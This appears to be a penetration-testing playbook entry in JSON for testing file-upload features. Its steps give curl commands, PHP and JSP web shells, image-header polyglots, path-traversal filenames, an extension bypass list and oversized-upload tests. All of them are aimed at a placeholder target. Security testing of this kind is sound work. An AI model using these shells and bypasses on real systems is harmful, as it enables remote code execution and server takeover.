{
  "slug": "file-upload-testing",
  "title": "File Upload & Path Traversal",
  "phase": "Exploitation",
  "description": "Test file upload functionality for unrestricted file types, path traversal, remote code execution, and storage-based vulnerabilities.",
  "difficulty": "medium",
  "tags": [
    "exploitation",
    "file-upload",
    "path-traversal",
    "rce",
    "web-shell"
  ],
  "tools": [
    "Burp Suite",
    "curl",
    "ffuf",
    "nuclei"
  ],
  "steps": [
    {
      "id": "upload-01",
      "title": "Test file type restriction bypasses",
      "description": "Attempt to upload restricted file types by manipulating extensions, MIME types, and Content-Type headers to bypass client-side and server-side validation.",
      "commands": [
        "curl -sk -F 'file=@shell.php.jpg' 'https://target.com/upload'",
        "curl -sk -F 'file=@shell.php%00.jpg' 'https://target.com/upload'",
        "curl -sk -F 'file=@shell.php;type=image/jpeg' 'https://target.com/upload'",
        "curl -sk -F 'file=@shell.phtml' 'https://target.com/upload'",
        "curl -sk -F 'file=@shell.phar' 'https://target.com/upload'"
      ],
      "notes": "Test all executable extensions for your target platform — .php, .php5, .phtml, .phar for PHP; .jsp, .jspx for Java; .asp, .aspx, .ashx for .NET. Also try case variations like .PhP."
    },
    {
      "id": "upload-02",
      "title": "Test file content validation with magic bytes and polyglots",
      "description": "Bypass content-based validation by prepending valid file signatures (magic bytes) to malicious files or crafting polyglot files that are valid in multiple formats.",
      "commands": [
        "printf '\\xFF\\xD8\\xFF\\xE0<?php system($_GET[\"cmd\"]); ?>' > polyglot.php.jpg",
        "curl -sk -F 'file=@polyglot.php.jpg' 'https://target.com/upload'",
        "printf 'GIF89a<?php system($_GET[\"cmd\"]); ?>' > polyglot.gif",
        "curl -sk -F 'file=@polyglot.gif;type=image/gif' 'https://target.com/upload'"
      ],
      "notes": "Some validators check only the first few bytes of a file. A polyglot that starts with valid image headers but contains embedded PHP code can pass image validation while remaining executable."
    },
    {
      "id": "upload-03",
      "title": "Test path traversal in upload filenames",
      "description": "Manipulate the uploaded filename to write files to arbitrary directories using directory traversal sequences.",
      "commands": [
        "curl -sk -F 'file=@shell.php;filename=../../../var/www/html/shell.php' 'https://target.com/upload'",
        "curl -sk -F 'file=@shell.php;filename=..%2f..%2f..%2fshell.php' 'https://target.com/upload'",
        "curl -sk -F 'file=@shell.php;filename=..\\\\..\\\\..\\\\shell.php' 'https://target.com/upload'"
      ],
      "notes": "Check the upload response for the stored file path. If the server reflects the storage location, you can confirm whether the traversal was successful and where the file landed."
    },
    {
      "id": "upload-04",
      "title": "Test web shell upload and execution",
      "description": "Upload web shells in various languages and verify whether they are stored in an accessible location and executed by the web server.",
      "commands": [
        "echo '<?php system($_GET[\"cmd\"]); ?>' > cmd.php",
        "curl -sk -F 'file=@cmd.php' 'https://target.com/upload'",
        "echo '<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>' > cmd.jsp",
        "curl -sk -F 'file=@cmd.jsp' 'https://target.com/upload'",
        "curl -sk 'https://target.com/uploads/cmd.php?cmd=id'"
      ],
      "notes": "After uploading, locate the file by checking response headers, API responses, or by fuzzing the uploads directory. Verify whether the server executes the file or serves it as a static download."
    },
    {
      "id": "upload-05",
      "title": "Test storage location and access controls",
      "description": "Determine where uploaded files are stored and whether access controls prevent direct retrieval of other users' uploads.",
      "commands": [
        "ffuf -u 'https://target.com/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302 | grep -iE '(upload|file|media|asset|static|attachment)'",
        "curl -sk 'https://target.com/uploads/'",
        "curl -sk 'https://target.com/uploads/?C=M;O=D'"
      ],
      "notes": "Check whether uploaded files are served from the same origin or a separate storage domain. Files served from the application origin with executable permissions represent the highest risk."
    },
    {
      "id": "upload-06",
      "title": "Test file size and content-length limits",
      "description": "Test for denial-of-service conditions by uploading oversized files, zero-byte files, and files with mismatched Content-Length headers.",
      "commands": [
        "dd if=/dev/zero of=large.bin bs=1M count=100 2>/dev/null && curl -sk -F 'file=@large.bin' 'https://target.com/upload'",
        "touch empty.txt && curl -sk -F 'file=@empty.txt' 'https://target.com/upload'",
        "curl -sk -X POST 'https://target.com/upload' -H 'Content-Length: 999999999' -d 'small data'"
      ],
      "notes": "Unrestricted file sizes can lead to storage exhaustion. Also test whether the application handles concurrent large uploads gracefully without consuming excessive memory or disk space."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/file-upload",
    "https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload",
    "https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html",
    "https://book.hacktricks.xyz/pentesting-web/file-upload",
    "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}